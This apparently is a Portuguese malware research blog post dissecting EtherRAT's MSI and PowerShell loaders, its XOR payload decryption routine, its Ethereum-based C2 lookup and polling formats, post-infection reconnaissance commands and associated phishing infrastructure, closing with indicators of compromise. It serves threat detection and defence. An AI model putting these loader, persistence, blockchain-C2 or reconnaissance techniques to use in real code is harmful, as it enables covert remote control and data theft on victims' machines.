No interior de uma infraestrutura maliciosa que distribui o EtherRAT, páginas de phishing e software malicioso 

| 15 de junho de 2026
No interior de uma infraestrutura maliciosa que distribui o EtherRAT, páginas de phishing e software malicioso 

Durante as nossas recentes atividades de deteção de ameaças, descobrimos que o malware EtherRAT estava a ser distribuído por um site com uma página inicial invulgar. Esta página inicial permitiu-nos descobrir uma vasta infraestrutura maliciosa dedicada à distribuição de malware, documentos maliciosos, software de acesso remoto ao ambiente de trabalho e páginas de phishing. 

O EtherRAT é um RAT desenvolvido em Node.js que permite a um atacante obter controlo total sobre o computador e executar código arbitrário fornecido pelo servidor de comando e controlo (C2). O malware utiliza a blockchain Ethereum para aceder ao servidor C2, daí a parte «Ether» do nome. O EtherRAT é normalmente distribuído através de ficheiros MSI, PowerShell ou scripts JavaScript. 

Um diretório aberto que distribui o EtherRAT: onde tudo começou 

Durante a deteção de ameaças, descobrimos um diretório aberto que distribuía instaladores MSI e scripts PowerShell, os quais, por sua vez, distribuíam o EtherRAT. Nos casos analisados, os scripts PowerShell e os instaladores MSI eram distribuídos a partir de uma pasta denominada «/install». As versões apresentam uma numeração progressiva, que vai da v1 à v10. 

Figura 1: Open Directory a hospedar o MSI do EtherRAT 
Open Directory hospeda o EtherRAT MSI 

A página inicial apresentada chamou-nos a atenção e levou-nos a explorar mais a fundo a campanha. 

A página inicial apresentada pelo site de distribuição do EtherRAT 

Ao analisar os domínios e os IPs associados à distribuição EtherRAT, detetámos outras páginas iniciais semelhantes com uma temática de pirataria informática. Estas parecem pertencer a uma cadeia de distribuição mais vasta, que também distribui phishing, software de controlo remoto e outro malware. Estes sites têm normalmente várias pastas com conteúdo relacionado com malware e phishing, e o que é apresentado depende da cadeia de infeção específica. 

Vários sites que apontam para os mesmos endereços IP já apresentavam, anteriormente, páginas relacionadas com empresas falsas ou modelos padrão. A utilização destas novas páginas poderá, portanto, constituir uma forma de dificultar a deteção por parte de scanners automatizados ou investigadores. Eis algumas das páginas iniciais que encontrámos:

Alguns dos sites maliciosos indexados no Google 

O EtherRAT é um RAT interessante, uma vez que tem poucas linhas de código e permite a execução de código arbitrário fornecido pelo servidor C2. Além disso, o facto de utilizar a blockchain Ethereum para aceder ao servidor C2 torna-o mais resistente a interrupções da infraestrutura. 

Análise técnica do EtherRAT 

Os sites detetados costumam distribuir um ficheiro MSI ou um script PowerShell com o nome da versão, como v1.msi, v2.ps1 e assim por diante. 

MSI Loader 

O ficheiro MSI «v9.msi» contém três componentes: 

Nome do ficheiro MSI Descrição 
KmPuGimn.cmd Lançador BAT 
cDQMlQAru0.xml Primeiro carregador JScript 
MRaQCipBIZeiZNx.log EtherRAT encriptado 

Quando o MSI é executado, o ficheiro «KmPuGimn.cmd» é iniciado: 

conhost --headless cmd /c "KmPuGimn.cmd" 

Este ficheiro BAT ofuscado executa várias operações: 

  • Extraia os outros ficheiros para uma pasta aleatória na pasta %LOCALAPPDATA%. 
  • Reexecuta-se através de: 
    • %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa 
  • Executa o comando «where node» para localizar uma instalação existente. 
  • Descarrega o Node.js, caso não seja encontrado 
    • Utiliza o comando «curl -sLo» para descarregar o Node.js do site oficial. 
    • Descompacta para o diretório de instalação através do comando «tar -xf». 
    • Renomeia o diretório extraído para «28Q75h».
  • Repete o processo até que tanto o ficheiro «MRaQCipBIZeiZNx.log» como o ficheiro «cDQMlQAru0.xml» existam e, em seguida, executa: 
    • conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml 

O ficheiro «cDQMlQAru0.xml» executado é um carregador que descodifica o código incorporado através de uma função XOR e, em seguida, o executa com «vm.compileFunction». 

decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF 
O código descodificado incorporado 

O código descodificado: 

  • Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”. 
  • Adiciona uma chave de registo para garantir a persistência com o «conhost.exe –headless». 
  • Descodifica o ficheiro «MRaQCipBIZeiZNx.log» e executa-o utilizando o «_MJlLlt5.exe» como entrada padrão. 

O algoritmo de descodificação é um esquema de descodificação personalizado do tipo fluxo, baseado em XOR, rotações de bytes e um acumulador: 

for e in range(len(data)): 
    byte = data[e] 
    g = prev 
    prev = byte 
    byte = (byte - g) & 0xff 
    byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff) 
    byte = si[byte] 
    byte = (byte - k[e % len(k)]) & 0xff
    result[e] = byte 

A etapa final consiste na implementação do EtherRAT. O EtherRAT permite ao atacante: 

  • Executar código JavaScript arbitrário recebido pelo servidor C2. Isto permite ao atacante executar novos comandos, realizar operações em ficheiros e pastas, modificar o registo e extrair dados. 
  • Obtenha um novo servidor C2 utilizando a blockchain Ethereum. 
  • Reofuscar-se a si próprio. 
  • Guarde os registos no ficheiro «svchost.log». 
Parte do código descodificado do EtherRAT 

O EtherRAT utiliza o método JSON-RPC «eth_call» da Ethereum para recuperar o URL C2 ativo a partir de um contrato inteligente na rede principal da Ethereum.  

Os parâmetros da blockchain neste caso são: 

  • Contrato: 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58 
  • Seletor de função: 0x7d434425 
  • Argumento: 0xf6a772e163e64b07f658946f863b5d457d88f9f0 
O C2 descodificado da blockchain Ethereum 

Os URLs contactados para obter o ponto final do servidor C2 são: 

  • mainnet[.]gateway[.]tenderly[.]co 
  • rpc[.]flashbots[.]net/fast 
  • rpc[.]mevblocker[.]io 
  • eth-mainnet[.]public[.]blastapi[.]io 
  • ethereum-rpc[.]publicnode[.]com 
  • eth[.]drpc[.]org 
  • eth[.]merkle[.]io 

Os pedidos de sondagem utilizam padrões de URL aleatórios com base em alguns parâmetros definidos no código: 

GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id> 
X-Bot-Server: <c2_url> 

Na amostra analisada, os parâmetros são: 

  • ID da compilação: “6f816d80-0d6c-4384-9cd6-6b79965fc08f” 
  • ext: selecionado aleatoriamente entre «png», «jpg», «gif», «css», «ico» e «webp». 
  • param: selecionado aleatoriamente entre «id», «token», «key», «b», «q», «s», «v». 

Após o arranque, o RAT envia o seu próprio código-fonte para o servidor C2. O servidor C2 responde com uma versão do script recentemente ofuscada, que é gravada de novo no disco, fazendo com que cada execução gere um novo hash do ficheiro. 

POST /api/[REOBF_PATH]/<victim-uuid> 
Body: { "code": "<current_script_contents>", "build": "<build_id>" } 

Após a execução do EtherRAT, observámos várias atividades do cmd.exe após a infeção, destinadas a analisar o ambiente. Por exemplo: 

  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_VideoController).Name”
  • reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid 
  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).Domain” 
  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).PartOfDomain” 
  • cmd.exe /d /s /c “net session” 
Registos do EtherRAT 

Carregador do PowerShell 

As atividades realizadas pelos carregadores do PowerShell são muito semelhantes à última fase do script JS do instalador MSI: 

  • Descarrega o Node.js, caso este não esteja instalado. 
  • Crie os diretórios necessários. 
  • Descodifique o EtherRAT com um algoritmo de descodificação personalizado. 
  • Execute o Node.js com o conhost.exe e a carga útil EtherRAT descodificada. 

Detetámos algumas variantes do carregador do PowerShell alojadas nestes sites; nomeadamente, verificámos que os nomes das funções e as funções de descodificação variam nos scripts do PowerShell analisados. 

A descodificação da carga útil do EtherRAT com o algoritmo de descodificação personalizado 

Rastreio da infraestrutura maliciosa 

Ao analisarmos os diferentes sites com páginas dedicadas ao tema do «hacking», descobrimos que, no passado, muitos deles tinham alojado várias páginas de phishing em determinados diretórios. Por exemplo: 

  • /zht/sharep-redirect.html 
  • /bl/me.php 
  • /t/equipas 
  • Windows.php 

Parece que estes domínios e endereços IP fazem, na verdade, parte de uma infraestrutura muito mais vasta que distribui malware, phishing, documentos maliciosos e software de controlo remoto. É possível que estas infraestruturas sejam partilhadas por vários agentes maliciosos, que ativam diferentes pontos finais de URL consoante a campanha específica. 

Curiosamente, a maioria dos domínios associados a esta infraestrutura maliciosa também apresentava, no passado, uma página HTML relacionada com um serviço denominado «Bulletproof Infrastructure».  

Constatámos que estas campanhas de phishing começam normalmente através de e-mails com documentos em anexo, tais como ficheiros PDF ou Excel. Estes documentos pedem ao utilizador que clique numa ligação para visualizar outro documento. Seguem-se dois exemplos dos documentos de phishing anexados aos e-mails:

Estas páginas de phishing normalmente pedem ao utilizador que introduza o seu endereço de e-mail, para depois darem continuidade à cadeia de infeção e distribuírem páginas de phishing ou malware. Seguem-se algumas das páginas de phishing detetadas na infraestrutura maliciosa:

Erros de configuração expuseram os kits de phishing 

Ao monitorizar sites maliciosos, descobrimos um que tinha um diretório aberto contendo parte do kit de phishing utilizado nas campanhas. 

Alojação de diretórios abertos como parte de kits de phishing

 

A pasta aberta continha várias pastas com código e páginas relacionadas com as campanhas de phishing. 

Código do kit de phishing 

Além disso, alguns domínios estavam mal configurados e permitiam o download do ficheiro «cl.zip», que continha o código-fonte das páginas do «URL Cloaker». 

Parte do código do «URL Cloaker» 

Indicadores de Compromisso (IOCs)  

IPs 

82.165.65.244: infraestrutura maliciosa  

185.221.216.121: infraestrutura maliciosa  

43[.]163[.]233[.]166: infraestrutura maliciosa  

40[.]160[.]238[.]30: infraestrutura maliciosa  

159.89.227.204: infraestrutura maliciosa  

57[.]128[.]31[.]168: infraestrutura maliciosa  

Domínios 

ivorilla[.]cloud: Distribuição do EtherRAT  

mx[.]nrlwz[.]com: Distribuição do EtherRAT  

dn[.]eyqwj[.]com: Distribuição do EtherRAT  

bi[.]mkrjcsw[.]com: Distribuição do EtherRAT  

dorqen[.]casa: Distribuição do EtherRAT  

kelvra[.]club: Distribuição do EtherRAT  

cambioefectivo[.]com: EtherRAT C2  

vabelles[.]com: EtherRAT C2  

tranzed[.]org: EtherRAT C2  

kibrisarazi[.]com: EtherRAT C2  

aravisblog[.]com: EtherRAT C2  

publicspeakingtip[.]org: EtherRAT C2  

Agradecimentoss 


Impedir as ameaças antes que causem qualquer dano.

Browser Guard Malwarebytes Browser Guard automaticamente páginas de phishing e sites maliciosos. É gratuito e instala-se com um clique. Adicione-o ao seu navegador →

Sobre o autor

O Gabriele é um engenheiro de investigação de malware que adora combater o malware. Quando não está a fazer isso, pode encontrá-lo a desfrutar da natureza, da arte e dos animais.